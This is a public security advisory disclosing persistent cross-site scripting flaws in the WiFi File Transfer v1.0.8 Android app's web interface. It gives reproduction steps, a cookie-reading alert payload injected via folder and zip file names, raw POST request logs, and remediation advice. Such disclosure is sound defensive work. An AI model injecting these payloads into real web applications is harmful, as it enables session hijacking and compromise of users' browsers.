Document Title:
===============
WiFi File Transfer v1.0.8 - Cross Site Scripting Vulnerabilities
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2322
Release Date:
=============
2022-10-17
Vulnerability Laboratory ID (VL-ID):
====================================
2322
Common Vulnerability Scoring System:
====================================
5.6
Vulnerability Class:
====================
Cross Site Scripting - Persistent
Current Estimated Price:
========================
500€ - 1.000€
Product & Service Introduction:
===============================
WiFi File Transfer lets you transfer files to/from your phone or tablet via
WiFi. Easy to use web interface, no USB cable required.
(Copy of the
Homepage:https://play.google.com/store/apps/details?id=com.smarterdroid.wififiletransfer&hl=de&gl=US
)
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a multiple
persistent cross site vulnerabilities in the WiFi File Transfer v1.0.8 mobile
android web-application.
Affected Product(s):
====================
smarterDroid
Product: WiFi File Transfer v1.0.8 - Android (Wifi) (Web-Application)
Vulnerability Disclosure Timeline:
==================================
2022-10-17: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Open Authentication (Anonymous Privileges)
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Independent Security Research
Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the WiFi
File Transfer v1.0.8 mobile web-application for android.
The vulnerability allows remote attackers to inject own malicious script codes
with persistent attack vector to compromise browser to web-application
requests from the application-side.
The vulnerabilities are located in the data_file parameter of the add a file or
folder and create a zip file function.
Attackers with wifi access are able to anonymous use the webui and can inject
own malicious script code with persistent
attack vector via post method request.
Successful exploitation of the vulnerability results in session hijacking,
persistent phishing attacks, persistent external
redirects to malicious source and persistent manipulation of affected
application modules.
Proof of Concept (PoC):
=======================
The persistent post inject web vulnerabilities can be exploited by remote
attackers in the same wifi network with anonymous privileges and low user
interaction.
For security demonstration or to reproduce the web security vulnerability in
the application follow the provided information and steps below to continue.
Manual reproduce of the vulnerability ...
1. Install the mobile android application and start it
2. Start the wifi web-server
3. Login as attacker by the browser over the network
4. Inject payload as folder name, file name or zip file and save via post
method request
5. The payload executes in the web ui when previewing the paths
Exploitation: Payload
<a onmouseover=alert(document.cookie)>picture1337.jpg</a>
--- PoC Session Logs #1 (POST) [Add] [Create] [Folder] [data_file] ---
http://localhost:1234/storage/emulated/0/DCIM/
Host: localhost:1234
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=---------------------------321836412920954805143620932676
Content-Length: 613
Origin:http://localhost:1234
Connection: keep-alive
Referer:http://localhost:1234/storage/emulated/0/DCIM/
action=mkdir&data_file=New"><a
onmouseover=alert(document.cookie)>picture1337.jpg</a>&data_currentParams=?&data_filepath=/storage/emulated/0/DCIM/
-
POST: HTTP/1.1 302 OK
Connection: Close
Content-Type: text/html
Location:http://localhost:1234/storage/emulated/0/DCIM/
Content-Length: 143
-
http://localhost:1234/storage/emulated/0/DCIM/
Host: localhost:1234
Accept-Encoding: gzip, deflate
Referer:http://localhost:1234/storage/emulated/0/DCIM/
Connection: keep-alive
-
POST: HTTP/1.1 200 OK
Connection: Close
Content-Type: text/html
--- PoC Session Logs #2 (POST) [Add] [Create] [Zip] [data_file] ---
http://localhost:1234/storage/emulated/0/Pictures/?
Host: localhost:1234
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=---------------------------289297208414223233314228108045
Content-Length: 882
Origin:http://localhost:1234
Connection: keep-alive
Referer:http://localhost:1234/storage/emulated/0/Pictures/?
Upgrade-Insecure-Requests: 1
action=multizip&data_file=.<a
onmouseover=alert(document.cookie)>File.Zip</a>.Zip&data_currentParams=?&data_filepath=/storage/emulated/0/Pictures/&1.jpg=file&2.jpg=file
-
POST: HTTP/1.1 200 OK
Connection: Close
Content-Type: text/html
Location:http://localhost:1234/storage/emulated/0/Pictures/
Content-Length: 151
-
http://localhost:1234/storage/emulated/0/Pictures/
Host: localhost:1234
Accept-Encoding: gzip, deflate
Referer:http://localhost:1234/storage/emulated/0/Pictures/?
Connection: keep-alive
Upgrade-Insecure-Requests: 1
-
POST: HTTP/1.1 200 OK
Connection: Close
Content-Type: text/html
Reference(s):
http://localhost:1234/
http://localhost:1234/storage/
http://localhost:1234/storage/emulated/
http://localhost:1234/storage/emulated/0/
http://localhost:1234/storage/emulated/0/DCIM/
http://localhost:1234/storage/emulated/0/Pictures/
Solution - Fix & Patch:
=======================
The persistent web vulnerabilities can be resolved by the following steps ...
1. Restrict the input of the folder, filename and zip files to disallow special
chars for add or create process
2. Encode and escape the content of the data_file parameter to sanitize the
content
3. Sanitize and filter the output locations of the explorer path listings to
prevent further attacks
Security Risk:
==============
The security risk of the persistent web vulnerabilities in the mobile android
wifi web-application are estimated as medium.
Credits & Authors:
==================
Vulnerability-Lab [Research Team]
-https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
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=========================
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